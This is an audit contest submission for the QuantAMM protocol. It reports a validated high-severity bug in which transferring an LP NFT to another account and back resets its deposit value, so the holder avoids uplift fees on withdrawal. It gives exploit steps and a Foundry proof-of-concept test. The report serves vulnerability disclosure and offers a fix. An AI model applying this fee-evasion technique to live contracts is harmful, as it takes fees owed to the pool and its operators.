QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Fee Manipulation During Liquidity Removal by Exploiting Transfer Behavior

Summary

The current fee calculation logic in the removeLiquidityProportional function can be exploited by transferring the liquidity pool (LP) token between accounts before withdrawing. This resets the lpTokenDepositValue to the current pool value, significantly reducing the uplift fee applied during withdrawal. This manipulation undermines the expected fee structure, allowing users to avoid paying fair fees for uplift in pool value.

Vulnerability Details

Root Cause

Exploit

  1. User deposits liquidity, minting an LP token with an initial lpTokenDepositValue.

  2. The pool value increases, raising the fee due on withdrawal.

  3. Before withdrawing, the user transfers the LP token to another account and then back, resetting the lpTokenDepositValue to the pool's current value.

  4. The lpTokenDepositValueChange is now zero or minimal, and the fee is calculated using minWithdrawalFeeBps, bypassing the intended uplift fee.

  5. The user withdraws liquidity, paying minimal fees.

POC

function test_feeManipulationDuringliquidityRemoval() public {
LPNFT lpNft = upliftOnlyRouter.lpNFT();
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < tokens.length; ++i) {
prices[i] = int256(i) * 2e18;
}
updateWeightRunner.setMockPrices(pool, prices);
uint256 nftTokenId = 0;
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
address bobsAccount2 = makeAddr("bobs second account");
//bob makes a transfer of the token to his other account
vm.prank(bob);
lpNft.transferFrom(bob, bobsAccount2, 1);
//bob transfers the token back to his main account
vm.prank(bobsAccount2);
lpNft.transferFrom(bobsAccount2, bob, 1);
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
vm.stopPrank();
BaseVaultTest.Balances memory balancesAfter = getBalances(bob);
uint256 feeAmountAmountPercent = ((bptAmount / 2) *
((uint256(upliftOnlyRouter.upliftFeeBps()) * 1e18) / 10000)) / ((bptAmount / 2));
uint256 expectedamountOut = (bptAmount / 2).mulDown((1e18 - feeAmountAmountPercent));
console.log(
balancesAfter.bobTokens[daiIdx] - balancesBefore.bobTokens[daiIdx],
expectedamountOut
);
console.log(
balancesAfter.bobTokens[usdcIdx] - balancesBefore.bobTokens[usdcIdx],
expectedamountOut
);
}

Impact

Fee Avoidance: Users pay significantly reduced fees (e.g., 0.5e18 instead of 20e18) by resetting the deposit value through token transfers.

Tools Used

Manual Audit

Recommendations

Modify the afterUpdate function in the UpliftOnlyExample contract to prevent resetting the lpTokenDepositValue during transfers.

Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_bypass_fee_collection_updating_the_deposited_value

Likelihood: High, any transfer will trigger the bug. Impact: High, will update lpTokenDepositValue to the new current value without taking fees on profit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!